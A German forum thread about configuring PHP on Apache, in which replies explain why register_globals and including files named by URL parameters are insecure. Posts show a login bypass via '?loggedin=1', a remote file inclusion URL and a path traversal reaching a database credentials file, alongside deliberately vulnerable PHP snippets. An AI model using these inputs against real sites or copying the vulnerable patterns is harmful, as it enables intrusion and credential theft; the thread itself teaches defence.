php.ini

  • #1
M

Michael_B

Bekanntes Mitglied
Themenersteller
Dabei seit
21.09.2002
Beiträge
860
Reaktionspunkte
0
Ort
Köln
Schönen guten Tag...

hab da gerade ein riesenproblem: ich versuche gerade apache mit php einzurichten und möchte, dass folgendes funktioniert...

wenn ich die URL öffne, dann möchte ich, dass die index.php einer bestimmten stelle die datei blabla.php inlcudiert. Also steht da irgendwo inlcude ($link..php)

Auf meinem Webspace von einer Firma, bei der ich halt Kunde bin, ist das kein Thema, klapp alles einwandfrei...
Aber auf dem Server, den ich gerade einrichte, ist die Variable $link leer.

Ich gehe davon aus, dass ich das in der php.ini einstellen kann, nur WO????

Bitte helft mir... ist echt dringend...

THX
 
  • #3
Mal ganz abgesehen davon dass das evtl. standard wird...
ist der Wert register_globals dafür zuständig, dass das o. angesprochene funktioniert?
 
  • #4
Auf der Seite, die ich verlinkt habe, steht ziemlich am Anfang It is useful if you disabled register_globals, but would like to see some variables in the global scope..
 
  • #5
Hi

register_globals ist dafür zuständig.
Aber nimm stattdessen $_GET[link]

So ist es eigentlich standardmäßig gedacht.

PS: Parameter aus URLs zu includen endet immer darin, dass jeder mit deiner Seite machen kann was er will.

Gruß, Michael
 
  • #6
PCDReitz schrieb:
register_globals ist dafür zuständig.
Aber nimm stattdessen $_GET[link]
So ist es eigentlich standardmäßig gedacht.

Die Tatsache, dass import_request_variables neuer ist, macht es ja nicht schlechter. Eher ist das Gegenteil der Fall.

Ich finde die Arbeit mit import_request_variables eigentlich etwas bequemer. Durch das Prefix ist es genau so sicher wie die Arbeit mit $_GET, $_POST und $_COOKIE, du hast aber weniger zu schreiben. :)

PS: Parameter aus URLs zu includen endet immer darin, dass jeder mit deiner Seite machen kann was er will.

Also kann ich mit diesem Forum machen was ich will?
 
  • #7
Genau!

Ich hab da mal was gehört von wegen exploits (wobei ich k. A. habe, was das ist). Dass ich hallt bei ....php?link=irgendwas für irgendwas auch eine andere URL noch angeben kann... und dann gibts da ein problem. das kann ich auch verstehen, aber, wenn ich die Include-Dateien aus einem bestimmetn verzeichnis hole, bring das angeben einer anderen URL als wert für die link-Variable IMHO auch nix mehr...

Bitte um aufklärung... sagen, dass etwas unsicher ist, kann ich auch ;) Würde aber gerne wissen inwiefern bzw. was genau daran unsicher ist.

Sänk ju
 
  • #8
Register_Globals ist insofern unsicher, als dass ein Angreifer u.U. Variablen modifizieren kann. Wenn ein Skript unsauber programmiert wurde, können damit unschöne Dinge erreicht werden.

Beispiel:
Code:
<?php

if($username==meinuser && $passwort==meinpass) $loggedin=True;

if($loggedin){
echo Ok;
}else{
echo Fehler;
}

?>

Hier könnte einfach ?loggedin=1 mit der URL übergeben werden, um die Abfrage auszuhebeln.
Ist register_globals deaktiviert, kann die Variable nicht mehr auf diese Weise gesetzt werden.

Zugegeben, dieses kleine Beispiel ließe sich ganz leicht sicherer machen, aber in komplexeren Skripten sieht die Sache schon etwas anders aus, da es viel mehr zu bedenken gibt.
 
  • #9
Gut. aber dann müsste man auch ziemlich gutes detailwissen bzgl. des Skriptes haben...
außerdem ist es so schon ziemlich dumm das so zu machen wie du es gemacht hast...

Code:
<?php
if($username==meinuser && $passwort==meinpass) $loggedin=True;
else $loggedin=False;
// das wäre widerum sicher gegen deinen Angriff...

if($loggedin){
   echo Ok;
}else{
   echo Fehler;
}
?>
 
  • #10
Michael_B schrieb:
Gut. aber dann müsste man auch ziemlich gutes detailwissen bzgl. des Skriptes haben...
außerdem ist es so schon ziemlich dumm das so zu machen wie du es gemacht hast...

Dumm ist es, einen Post nicht ganz bis zum Ende zu lesen, und trotzdem gegen an zu reden.
Lies meinen letzen Satz noch mal.

(Übrigens ist deine Lösung nicht sehr gut. Besser wäre es, $loggedin vor der Abfrage generell auf False zu setzen)

Wie dem auch sei, du wolltest wissen warum das Aktivieren von register_globals unsicher sein kann, und ich habe versucht es dir zu erklären. Niemand zwingt dich, die Tipps anzunehmen.

Btw:
 
  • #11
ooopsss. sorry...

::)
 
  • #12
Hi

Zu dem Include:

Beispiel:
url?file=script.php

Script:
include $_GET[file];

Exploit:
url?file=http://url/myexploit.txt was z.B. deine Verzeichnisstruktur auslesen kann und danach beliebige Seiten deiner Website löscht.

Beispiel:
url?file=script.php

Script:
include =./holmalwas/irgendwas/ . $_GET[file];

Exploit:
url?file=../../config/mysqlzugangsdaten.php

Klar ist vielleicht alles nicht einfach anwendbar, aber die Möglichkeit besteht ja, dass man richtig rät.

Gruß, Michael
 
  • #13
hmmmkay... danke... werd mich in zukunft dann mal daran versuchen...


erledigt...
 
Thema:

php.ini

ANGEBOTE & SPONSOREN

Statistik des Forums

Themen
113.839
Beiträge
707.962
Mitglieder
51.492
Neuestes Mitglied
Janus36
Oben